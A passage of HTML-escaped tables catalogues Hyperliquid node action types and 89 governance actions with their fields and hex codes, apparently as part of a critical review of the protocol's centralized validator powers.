&lt;td&gt;validator, signature, coldUserSignature, &amp;hellip;&lt;/td&gt;
&lt;td&gt;Register as validator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CValidator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register/ChangeProfile/Unregister&lt;/td&gt;
&lt;td&gt;Validator profile management&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ValidatorL1Vote&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(vote params)&lt;/td&gt;
&lt;td&gt;L1 validator vote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ValidatorL1Stream&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;riskFreeRate&lt;/td&gt;
&lt;td&gt;L1 stream action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SignValidatorSetUpdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;validatorSet, signature&lt;/td&gt;
&lt;td&gt;Sign validator set update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteAppHash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;height, appHash&lt;/td&gt;
&lt;td&gt;Vote on app hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ForceIncreaseEpoch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;validatorsAndSignatures, newActiveEpoch&lt;/td&gt;
&lt;td&gt;Force epoch increase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteEthDeposit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ethId, (deposit details)&lt;/td&gt;
&lt;td&gt;Vote on ETH deposit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteEthFinalizedWithdrawal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ethTxHash, (withdrawal details)&lt;/td&gt;
&lt;td&gt;Vote on finalized withdrawal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteEthFinalizedValidatorSetUpdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;header, validatorSet&lt;/td&gt;
&lt;td&gt;Vote on validator set update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ValidatorSignWithdrawal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, usd, vaultAddress?, builder?&lt;/td&gt;
&lt;td&gt;Validator sign withdrawal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="bridge-ethereum-l1"&gt;Bridge (Ethereum L1)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Withdraw3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, usd, nonce, signatureChainId&lt;/td&gt;
&lt;td&gt;Withdraw to L1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteEthDeposit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ethId, (deposit details)&lt;/td&gt;
&lt;td&gt;Vote on ETH deposit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteEthFinalizedWithdrawal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ethTxHash, (withdrawal details)&lt;/td&gt;
&lt;td&gt;Vote on finalized withdrawal&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="evm-operations"&gt;EVM Operations&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EvmRawTx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw (hex tx)&lt;/td&gt;
&lt;td&gt;Submit raw EVM transaction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FinalizeEvmContract&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(contract params)&lt;/td&gt;
&lt;td&gt;Finalize EVM contract&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EvmUserModify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;usingBigBlocks, input&lt;/td&gt;
&lt;td&gt;Modify EVM user settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SendToEvmWithData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destinationRecipient, addressEncoding, destinationChainId, gasLimit, wei, &amp;hellip;&lt;/td&gt;
&lt;td&gt;Send to EVM with calldata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeployerSendToEvmForFrozenUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;frozenUser, wei&lt;/td&gt;
&lt;td&gt;Deployer send for frozen user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="spottoken-operations"&gt;Spot/Token Operations&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SpotDeploy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RegisterToken/RegisterToken2/RegisterSpot/RegisterHyperliquidity/&amp;hellip;&lt;/td&gt;
&lt;td&gt;Deploy spot markets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SpotSend&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, token, amount&lt;/td&gt;
&lt;td&gt;Send spot token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Hip3Deploy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;collateralToken, oracleUpdater, &amp;hellip;&lt;/td&gt;
&lt;td&gt;HIP-3 deployment&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;SpotDeploy Variants (17)&lt;/strong&gt;&lt;/summary&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variant&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegisterToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register new token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegisterToken2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register token v2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MaxGas&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set max gas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UserGenesis&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User genesis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ExistingTokenAndWei&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Existing token deposit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BlacklistUsers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blacklist users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Genesis&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Token genesis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegisterSpot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register spot market&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegisterHyperliquidity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register hyperliquidity pool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RequestEvmContract&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Request EVM contract&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetFullName&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set token full name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetDeployerTradingFeeShare&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set deployer fee share&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EnableFreezePrivilege&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enable freeze privilege&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FreezeUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Freeze user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RevokeFreezePrivilege&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Revoke freeze privilege&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EnableQuoteToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enable as quote token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EnableAlignedQuoteToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enable as aligned quote token&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;h3 id="dex-abstraction"&gt;DEX Abstraction&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AgentEnableDexAbstraction&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;enabled&lt;/td&gt;
&lt;td&gt;Enable DEX abstraction for agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UserDexAbstraction&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;enabled, &amp;hellip;&lt;/td&gt;
&lt;td&gt;Enable DEX abstraction for user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UserPortfolioMargin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(margin params)&lt;/td&gt;
&lt;td&gt;Portfolio margin settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BoleAction&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;operation (Borrow/Supply/Repay), token, amount&lt;/td&gt;
&lt;td&gt;Borrow/lend operations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="reserveborrow-lend"&gt;Reserve/Borrow-Lend&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReserveRequestWeight&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;weight&lt;/td&gt;
&lt;td&gt;Request reserve weight&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="systeminternal"&gt;System/Internal&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetGlobal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pxs, externalPerpPxs, usdtUsdcPx&lt;/td&gt;
&lt;td&gt;Set global prices&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Noop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;No operation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReassessFees&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;Reassess fees&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemApproveBuilderFee&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(params)&lt;/td&gt;
&lt;td&gt;System approve builder fee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemAlignedQuoteSupplyDelta&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;token, wei, isMint&lt;/td&gt;
&lt;td&gt;Aligned quote supply delta&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="all-governance-actions"&gt;All governance actions&lt;/h2&gt;
&lt;p&gt;89 total variants extracted from &lt;code&gt;hl-node&lt;/code&gt;. All execute immediately upon validator consensus: no timelocks, no user consent, no reversal mechanisms.&lt;/p&gt;
&lt;h3 id="fee--trading-parameters-0x000x07"&gt;Fee &amp;amp; Trading Parameters (0x00–0x07)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x00&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FeeSchedule&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Modify fee structure (Vec, max 10k entries)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x01&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ReferralBucketMillis&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Referral bucket timing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x02&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OverrideFundingImpactUsd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Override funding impact per asset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x03&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FundingClamp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set funding rate bounds per asset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x04&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DefaultImpactUsd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Default price impact threshold&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x05&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MaxOrderDistanceFromAnchor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Max order distance from oracle (0.2–0.99)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x06&lt;/td&gt;
&lt;td&gt;&lt;code&gt;InsertMarginTable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Insert margin requirement table&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x07&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetMarginTableIds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Assign margin tables to assets&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="system-control-0x080x0c"&gt;System Control (0x08–0x0C)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x08&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SimulateCrashHeight&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Simulate consensus crash at height&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x09&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NewSzDecimals&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Update size decimal precision&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0A&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PerformAutoDeleveraging&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trigger ADL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0B&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AssetsAtOpenInterestCap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mark assets at OI cap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0C&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AdlShortfallRemaining&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ADL shortfall tracking&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="token--bridge-restrictions-0x0d0x11"&gt;Token &amp;amp; Bridge Restrictions (0x0D–0x11)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x0D&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HlOnlyCoins&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Restrict tokens to Hyperliquid only (trap funds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0E&lt;/td&gt;
&lt;td&gt;&lt;code&gt;StakingEpochDurationSeconds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Staking epoch duration (no bounds check)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x0F&lt;/td&gt;
&lt;td&gt;&lt;code&gt;StrictIsolatedCoins&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Force isolated margin mode (can trigger liquidations)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Bridge2WithdrawFee&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bridge withdrawal fee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x11&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AllowedBridgeValidators&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Control bridge validator set (max 10k)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="validator-management-0x120x13"&gt;Validator Management (0x12–0x13)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x12&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AllowedCValidator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Whitelist validator address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x13&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ForceRecomputeValidatorState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Force state recomputation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="signature--margin-overrides-0x140x17"&gt;Signature &amp;amp; Margin Overrides (0x14–0x17)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x14&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OverrideMaxSignatureValiditySeconds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Override signature validity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x15&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OverrideIsolatedMaxLeverage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Override max leverage per asset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x16&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OverrideIsolatedMarginRequirement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Override margin requirement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x17&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CanonicalTokens&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set canonical token routing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="user-control-0x180x1d"&gt;User Control (0x18–0x1D)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x18&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DisableSpot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disable spot trading&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x19&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MaxHlpWithdrawPerSecond&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Rate limit HLP withdrawals (DOS vector)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x1A&lt;/td&gt;
&lt;td&gt;&lt;code&gt;QuarantineUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Freeze user account&lt;/strong&gt; (no undo mechanism)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x1B&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CancelUserOrders&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Force cancel all user orders&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x1C&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UserCanLiquidate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Toggle user&amp;rsquo;s liquidation privileges&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x1D&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UserIsUnrewarded&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exclude user from rewards&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="market--asset-control-0x1e0x25"&gt;Market &amp;amp; Asset Control (0x1E–0x25)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x1E&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AllowDuplicateTokenNames&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow duplicate token names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x1F&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeployGasAuctionChange&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Modify gas auction parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x20&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FreezeChain&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Halt chain&lt;/strong&gt; at specified height (within 50k blocks)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x21&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ModifyVault&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary vault configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x22&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HaltPerpTrading&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Instant trading halt&lt;/strong&gt; per asset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x23&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RegisterAsset2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register new tradeable asset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x24&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ModifyReferrer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Override user&amp;rsquo;s referrer (fee extraction)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x25&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ModifyNonCirculatingSupply&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Modify circulating supply accounting&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="network--validator-operations-0x260x34"&gt;Network &amp;amp; Validator Operations (0x26–0x34)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x26&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ModifyBroadcaster&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Control broadcaster set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x27&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ModifyCStakingPeriods&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Modify staking periods&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x28&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CValidator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Validator profile (register/change/unregister)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x29&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UnjailAll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Mass amnesty&lt;/strong&gt;: unjail all validators&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2A&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MaxNValidators&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set max validator count (centralization)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2B&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetReserveAccumulator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Direct reserve value manipulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2C&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UnjailSigner&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unjail specific signer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2D&lt;/td&gt;
